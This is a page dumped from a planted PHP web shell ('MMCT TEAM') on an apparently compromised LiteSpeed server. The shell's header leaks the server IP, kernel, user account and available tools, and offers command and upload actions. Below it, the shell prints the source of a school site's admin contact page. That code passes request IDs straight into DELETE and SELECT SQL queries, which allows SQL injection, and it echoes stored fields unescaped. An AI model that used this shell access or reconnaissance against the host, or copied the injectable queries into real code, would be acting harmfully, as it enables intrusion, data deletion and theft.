MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/jcboseedu.org/admin/images/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/jcboseedu.org/admin/images/../contact_us.php
<?php 
include ("include/makeSession.php");
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
	$dovalue="";
	$doid=$_REQUEST['did'];
	mysqli_query($con,"delete from contact_us where id='$doid'");
	echo '<META HTTP-EQUIV="Refresh" Content="0; URL=contact_us.php">';
	exit;
}
if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
	  $dovalue="EditContactUs";
	  $doid=$_REQUEST['upid'];
	  $Query=mysqli_query($con,"select * from contact_us where id='".$_REQUEST['upid']."'");
	  $Row=mysqli_fetch_array($Query);
}else{
 	  $dovalue="ContactUs";
	  $doid='';  
}
?>
<div class="content-wrapper">
  <!-- Content Contact Us (Page header) -->
  <section class="content-header">
    <h1> Contact Us <small></small> </h1>
    <ol class="breadcrumb">
      <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
      <li><a href="#">Contact Us</a></li>
    </ol>
  </section>
  <!-- Main content -->
  <section class="content">
    <div class="row">
      <div class="col-md-12">
	   <?php if(!empty($_SESSION['msg'])){
			  $msg=$_SESSION["msg"];
           echo '<div class="col-md-12">
			<div class="alert alert-success alert-dismissible">
  <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
  '.$msg.'
		  </div>'; $_SESSION["msg"]='';} ?>
        <div class="box box-info">
          <div class="box-header">
            <h3 class="box-title"> Contact Us <small></small></h3>
            <!-- tools box -->
            <div class="pull-right box-tools">
              <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
              <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
            </div>
            <!-- /. tools --> 
          </div>
          <!-- /.box-header -->
          <div class="box-body pad">
            <div class="col-md-8">
              <form method="post" action="action.php" enctype="multipart/form-data"  role="form">
                <input type="hidden"  name="do" value="<?php echo $dovalue;?>" />
                <input type="hidden"  name="doid" value="<?php echo $doid;?>" />
             
                <!-- text input --> 
				  
                <div class="form-group">
                  <label>School Name</label>                                    
                  <input name="name" type="text" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['name'];}?>" placeholder="Enter School Name">                  
                </div>
                <div class="form-group">
                  <label>Address Line 1</label>                                    
                  <input name="address_line_1" type="text" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['address_line_1'];}?>" placeholder="Enter Address Line 1">                  
                </div>
                <div class="form-group">
                  <label>Address Line 2</label>                                    
                  <input name="address_line_2" type="text" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['address_line_1'];}?>" placeholder="Enter Address Line 2">                  
                </div>
                <div class="form-group">
                  <label>Pincode</label>                                    
                  <input name="pincode" type="number" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['pincode'];}?>" placeholder="Enter Pincode">                  
                </div>
                <div class="form-group">
                  <label>Map IFrame from Google Maps</label>                                    
                  <textarea name="map"><?php if(isset($_REQUEST['upid'])){ echo $Row['map'];}?></textarea>
                </div>
                <div class="form-group">
                  <label>Moblie 1</label>                                    
                  <input name="mobile1" type="text" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['mobile1'];}?>" placeholder="Enter Mobile 1">                  
                </div>
                <div class="form-group">
                  <label>Mobile 2</label>                                    
                  <input name="mobile2" type="text" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['mobile2'];}?>" placeholder="Enter Mobile 2">                  
                </div>
                <div class="form-group">
                  <label>Email</label>                                    
                  <input name="email" type="email" class="form-control" value="<?php if(isset($_REQUEST['upid'])){ echo $Row['email'];}?>" placeholder="Enter Email ID">                  
                </div>
                <div class="box-footer">
                  <input type="submit" class="btn btn-primary" value="Save"/>
                  <input type="reset" value="Reset" class="btn btn-primary">
                </div>
              </form>
            </div>
          </div>
        </div>
        <!-- /.box --> 
      </div>
      <!-- /.col--> 
    </div>
    <!-- ./row --> 
  </section>
  <!-- /.content -->
  <section class="content">
    <div class="row">
      <div class="col-xs-12">
        <div class="box">
          <div class="box-header">
            <h3 class="box-title">Contact Us Report</h3>
          </div>
          <!-- /.box-header -->
          <div class="box-body">
            <table id="example1" class="table table-bordered table-striped">
              <thead>
              <tr>                   
                    <th scope="col">Sr no</th>
                    <th scope="col">School Name</th>
                    <th scope="col">Address Line 1</th>
                    <th scope="col">Address Line 2</th>
                    <th scope="col">Pincode</th>
					<th scope="col">School Mobile 1</th>
					<th scope="col"> School Mobile 2</th>
                     <th scope="col">Email</th>
                    <th scope="col">Action</th>
                  </tr>                
              </thead>
              <tbody> 
                <?php $q=mysqli_query($con,"select * from contact_us");
			  		$i = 1;
	  				  while($r=mysqli_fetch_array($q)){ ?>
                <tr>
			
                  <td><?php echo $i; ?></td>
                  <td><?=$r['name'];?></td> 
                  <td><?=$r['address_line_1'];?></td> 
                  <td><?=$r['address_line_2'];?></td> 
                  <td><?=$r['pincode'];?></td> 
                  <td><?=$r['mobile1'];?></td> 
                  <td><?=$r['mobile2'];?></td> 
                  <td><?=$r['email'];?></td> 
                  
                  <td><a href="?upid=<?php echo $r["id"]; ?>"><i class="fa fa-pencil text-yellow"></i></a>&nbsp;&nbsp; <a href="?did=<?php echo $r["id"]; ?>"><i class="fa fa-remove text-red"></i></a></td>
                </tr>
                <?php $i++;} ?>
              </tbody>
            </table>
          </div>
          <!-- /.box-body --> 
        </div>
        <!-- /.box --> 
      </div>
      <!-- /.col --> 
    </div>
    <!-- /.row --> 
  </section>
</div>
<?php include('include/footer.php');?>

<script src="plugins/datatables/jquery.dataTables.min.js"  type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"  type="text/javascript"></script>
<script src="https://cdn.datatables.net/buttons/1.5.1/js/dataTables.buttons.min.js"  type="text/javascript"></script>
<script src="https://cdn.datatables.net/buttons/1.5.1/js/buttons.colVis.min.js"  type="text/javascript"></script>


<script  type="text/javascript">
$(document).ready(function() {
    $('#example1').DataTable( {
    });
} );
	//$(function () {
	//$("#example1").DataTable();
	
	//});
</script>

MMCT - 2023